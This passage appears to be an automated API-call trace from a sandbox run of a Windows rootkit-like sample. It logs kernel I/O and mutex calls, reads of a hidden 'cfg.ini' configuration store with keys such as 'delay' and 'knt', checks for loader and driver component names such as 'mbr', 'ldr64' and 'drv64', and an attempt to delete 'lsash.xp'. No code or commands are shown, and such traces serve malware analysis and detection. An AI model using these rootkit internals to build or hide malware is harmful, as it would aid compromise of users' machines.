[0125.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.510] IdePortDispatch () returned 0x103 [0125.511] KeWaitForMutexObject () returned 0x0 [0125.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.511] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.511] IdePortDispatch () returned 0x103 [0125.511] KeWaitForMutexObject () returned 0x0 [0125.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.511] KeLeaveCriticalRegion () [0125.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.511] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.511] KeEnterCriticalRegion () [0125.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.511] KeLeaveCriticalRegion () [0125.512] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.512] KeEnterCriticalRegion () [0125.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.512] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] KeLeaveCriticalRegion () [0125.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.512] KeEnterCriticalRegion () [0125.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] KeLeaveCriticalRegion () [0125.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.512] ReleaseMutex (hMutex=0xf0) returned 1 [0125.512] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.512] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.512] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.512] KeEnterCriticalRegion () [0125.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.512] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.512] IdePortDispatch () returned 0x103 [0125.512] KeWaitForMutexObject () returned 0x0 [0125.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.512] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.512] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.512] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.512] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.512] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8450 [0125.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.512] KeLeaveCriticalRegion () [0125.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.513] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.513] KeEnterCriticalRegion () [0125.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.513] KeLeaveCriticalRegion () [0125.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.513] KeEnterCriticalRegion () [0125.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.513] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.513] IdePortDispatch () returned 0x103 [0125.513] KeWaitForMutexObject () returned 0x0 [0125.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.513] KeLeaveCriticalRegion () [0125.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.513] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.513] KeEnterCriticalRegion () [0125.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6c000 [0125.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.513] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.513] IdePortDispatch () returned 0x103 [0125.514] KeWaitForMutexObject () returned 0x0 [0125.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.514] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.514] IdePortDispatch () returned 0x103 [0125.514] KeWaitForMutexObject () returned 0x0 [0125.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.514] KeLeaveCriticalRegion () [0125.514] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.514] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.514] KeEnterCriticalRegion () [0125.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.514] KeLeaveCriticalRegion () [0125.514] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.514] KeEnterCriticalRegion () [0125.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.514] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.515] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.515] KeLeaveCriticalRegion () [0125.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.515] KeEnterCriticalRegion () [0125.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.515] ExFreePoolWithTag (P=0xfffffa8003bf8450, Tag=0x0) [0125.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.515] KeLeaveCriticalRegion () [0125.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.515] ReleaseMutex (hMutex=0xf0) returned 1 [0125.515] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.515] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.515] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.515] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.515] KeEnterCriticalRegion () [0125.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.515] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.515] IdePortDispatch () returned 0x103 [0125.515] KeWaitForMutexObject () returned 0x0 [0125.515] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.515] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.515] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.515] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.515] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.515] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.515] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.515] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.515] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.515] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.515] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.515] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.515] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.515] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.515] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.516] KeLeaveCriticalRegion () [0125.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.516] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.516] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.516] KeEnterCriticalRegion () [0125.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.516] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.516] IdePortDispatch () returned 0x103 [0125.516] KeWaitForMutexObject () returned 0x0 [0125.516] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.516] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.516] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.516] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.516] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.516] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.516] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.516] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.516] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.516] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.516] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.516] KeLeaveCriticalRegion () [0125.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.516] ReleaseMutex (hMutex=0x100) returned 1 [0125.516] Sleep (dwMilliseconds=0x2bf20) [0125.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e028f10, dwHighDateTime=0x1d24fa4)) [0125.525] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.525] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.525] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.525] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.525] KeEnterCriticalRegion () [0125.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.525] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.525] IdePortDispatch () returned 0x103 [0125.525] KeWaitForMutexObject () returned 0x0 [0125.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.525] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.525] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.525] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.525] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.525] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf79b0 [0125.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.525] KeLeaveCriticalRegion () [0125.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.525] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.525] KeEnterCriticalRegion () [0125.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.525] KeLeaveCriticalRegion () [0125.526] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.526] KeEnterCriticalRegion () [0125.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.526] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.526] IdePortDispatch () returned 0x103 [0125.526] KeWaitForMutexObject () returned 0x0 [0125.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.526] KeLeaveCriticalRegion () [0125.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.526] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.526] KeEnterCriticalRegion () [0125.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6f000 [0125.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.526] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.526] IdePortDispatch () returned 0x103 [0125.526] KeWaitForMutexObject () returned 0x0 [0125.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.526] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.526] IdePortDispatch () returned 0x103 [0125.527] KeWaitForMutexObject () returned 0x0 [0125.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.527] KeLeaveCriticalRegion () [0125.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.527] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.527] KeEnterCriticalRegion () [0125.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.527] KeLeaveCriticalRegion () [0125.527] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.527] KeEnterCriticalRegion () [0125.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.527] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.527] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.527] KeLeaveCriticalRegion () [0125.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.527] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.527] KeEnterCriticalRegion () [0125.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] ExFreePoolWithTag (P=0xfffffa8003bf79b0, Tag=0x0) [0125.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] KeLeaveCriticalRegion () [0125.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.528] ReleaseMutex (hMutex=0xf0) returned 1 [0125.528] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.528] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.528] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.528] KeEnterCriticalRegion () [0125.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.528] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.528] IdePortDispatch () returned 0x103 [0125.528] KeWaitForMutexObject () returned 0x0 [0125.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.528] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.528] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.528] strncpy (in: 